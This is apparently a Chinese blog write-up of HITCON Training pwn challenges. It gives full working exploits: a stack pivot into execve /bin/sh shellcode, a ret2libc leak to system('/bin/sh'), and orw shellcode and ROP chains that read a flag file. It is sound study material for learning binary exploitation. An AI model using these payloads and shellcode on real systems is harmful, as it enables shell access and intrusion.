由于期末考的原因, 好久没写题了, 做hitcon training 的题目来熟悉熟悉

sysmagic

查看保护可以看到程序没开pie与got, plt 表之类的可以改写

程序逻辑比较简单不啰嗦了, 经过观察buf的值不可控
但是flag比较明显是for循环内输出的东西, 而putchar 内的数据代码中都有, 所以第一想法是写个C语言脚本直接输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 1 #include <stdio.h>
2 #include <string.h>
3 #include <stdlib.h>
4
5 int main(int argc, char **argv){
6 int d[] = {2036297540, 1801418095, 1601662830, 1601792119, 1952414061,
7 1835884901, 1600484449, 1851880015, 1767859559,
8 1869832051, 1735287135, 1061124466, 63};
9 char s[] = {7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89,
10 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0,
11 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91,
12 49, 85, 2, 30, 33, 16, 76, 30, 66};
13 for(int i = 0;i <= 0x30;++i){
14 putchar(*((char*)d + i) ^ s[i]);
15 }
16 return 0;
17 }

flag:
image

看到flag的瞬间毫无防备的留下了弱者的泪水, 能动态调试为什么要费时间写脚本呢…

orw

查看保护除了栈溢出保护其它保护全关了

程序逻辑简单, 要求输入shellcode来执行指令, 不过程序用了沙箱禁用了exceve系统调用, 不过没有禁用read, write, open等系统调用, 所以可以通过执行这三个系统调用直接把flag读出来
关于沙箱这篇文章讲的比较详细:seccomp学习笔记
通过执行seccomp-tools dump ./orw 可以查看可以执行哪些系统调用
系统调用号查询:linux 系统调用号表

汇编代码(我用的是ATT格式):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1 .section .text
2 .globl _start
3
4 _start:
5 xor %eax, %eax
6 movl $0x804A09b, %ebx
7 movl $4, %ecx
8 xor %edx, %edx
9 movb $5, %al
10 int $0x80
11
12 movl %eax, %ebx
13 pushl %esp
14 movl %esp, %ecx
15 movl $0x30, %edx
16 xor %eax, %eax
17 movb $3, %al
18 int $0x80
19
20 movl $1, %ebx
21 pushl %esp
22 popl %ecx
23 movl $0x30, %edx
24 xor %eax, %eax
25 movb $4, %al
26 int $0x80
27
28 movl $1, %eax
29 int $0x80

成功读取flag(由于没有靶机, 所以我在本地创建了一个flag文件)
image

ret2sc

保护全关

看到程序逻辑就是栈迁移执行shellcode
具体步骤为将shellcode植入到bss段, 之后再将栈迁移到bss段中,然后就可以getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1 #!/usr/bin/python2
2
3 from pwn import *
4 import sys
5 import os
6
7 #context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
8 context(arch='i386', os='linux', terminal=['tmux', 'splitw', '-h'])
9 context.log_level='debug'
10 debug = 1
11 d = 1
12
13 def pwn():
14 execve = "./ret2sc"
15 if debug == 1:
16 p = process(execve)
17 if d == 1:
18 gdb.attach(p)
19 else:
20 #ip = "10.0.%s.140" % sys.argv[1]
21 ip = ""
22 host = ""
23 p = remote(ip, host)
24
25 elf = ELF("./ret2sc")
26
27 shellcode = p32(elf.symbols['name'] + 4) + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
28 p.sendlineafter("Name:", shellcode)
29
30 payload = 'a'*(0x14+8) + p32(elf.symbols['name'] - 4) + p32(0x804853c)
31 p.sendlineafter("Try your best:", payload)
32
33 p.interactive()
34
35 if __name__ == '__main__':
36 pwn()

成功getshell
image

ret2lib

除了栈上数据不可执行以外的保护全关了

程序逻辑分析:
程序中可以指定一个地址并且输出这个地址的内容, 随后的print_message函数中很明显存在栈溢出

那么思路就比较明了了, 先泄露libc地址, 随后计算出libc基址,之后利用栈溢出执行system, 最后getshell
由于泄露地址后可以直接利用LibcSearcher 搜索出libc版本, 为了方便我直接用本机的libc版本
image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
1 #!/usr/bin/python2
2
3 from pwn import *
4 import sys
5 import os
6
7 #context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
8 context(arch='i386', os='linux', terminal=['tmux', 'splitw', '-h'])
9 context.log_level='debug'
10 debug = 1
11 d = 0
12
13 def pwn():
14 execve = "./ret2lib"
15 if debug == 1:
16 p = process(execve)
17 if d == 1:
18 gdb.attach(p)
19 else:
20 #ip = "10.0.%s.140" % sys.argv[1]
21 ip = ""
22 host = ""
23 p = remote(ip, host)
24
25 elf = ELF("./ret2lib")
26 libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
27
28 p.sendlineafter("Give me an address (in dec) :", str(elf.got['puts']))
29 leak = hex(int(p.recvline()[-9:-1], 16))
30 log.info("leak -> " + leak)
31
32 libc_base = int(leak, 16) - libc.symbols['puts']
33 log.info("libc_base -> " + hex(libc_base))
34
35 system = libc_base + libc.symbols['system']
36 binsh = libc_base + libc.search('/bin/sh\0').next()
37
38 pppr = 0x080486CD
39 payload = 'a'*(0x38 + 4) + p32(system) + p32(0x12345678) + p32(binsh)
40
41 p.sendlineafter("Leave some message for me :", payload)
42
43 p.interactive()
44
45 if __name__ == '__main__':
46 pwn()

成功getshell
image

simplerop

除了NX其它全关

观察程序逻辑只有一个栈溢出, 而这个文件是个静态链接的文件,尝试找system的地址, 但是查找符号表没找到system
但是open, write, read的地址都可以找到, 这意味着跟前面的题目思路一样, 利用rop调用这三个函数来读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
1 #!/usr/bin/python2
2
3 from pwn import *
4 import sys
5 import os
6
7 #context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
8 context(arch='i386', os='linux', terminal=['tmux', 'splitw', '-h'])
9 context.log_level='debug'
10 debug = 1
11 d = 0
12
13 def pwn():
14 execve = "./simplerop"
15 if debug == 1:
16 p = process(execve)
17 if d == 1:
18 gdb.attach(p)
19 else:
20 #ip = "10.0.%s.140" % sys.argv[1]
21 ip = ""
22 host = ""
23 p = remote(ip, host)
24
25 elf = ELF("./simplerop")
26
27 pppr = 0x080491D2
28
29 payload = 'a'*(0x1c + 4) + p32(elf.symbols['read']) + p32(pppr)
30 payload += p32(0) + p32(elf.bss() + 0x200) + p32(0x10) + p32(elf.symbols['main'])
31
32 p.sendafter("Your input :", payload.ljust(100, '\x00'))
33
34 p.sendline("flag\0")
35
36 raw_input()
37 payload = 'a'*0x18
38 payload += p32(elf.symbols['open']) + p32(pppr) + p32(elf.bss() + 0x200) + p32(4) + p32(0)
39 payload += p32(elf.symbols['read']) + p32(pppr) + p32(3) + p32(elf.bss() + 0x200) + p32(0x10)
40 payload += p32(elf.symbols['write']) + p32(pppr) + p32(1) + p32(elf.bss() + 0x200) + p32(0x10)
41
42 p.sendlineafter("Your input :", payload)
43
44 p.interactive()
45
46 if __name__ == '__main__':
47 pwn()

结果:
image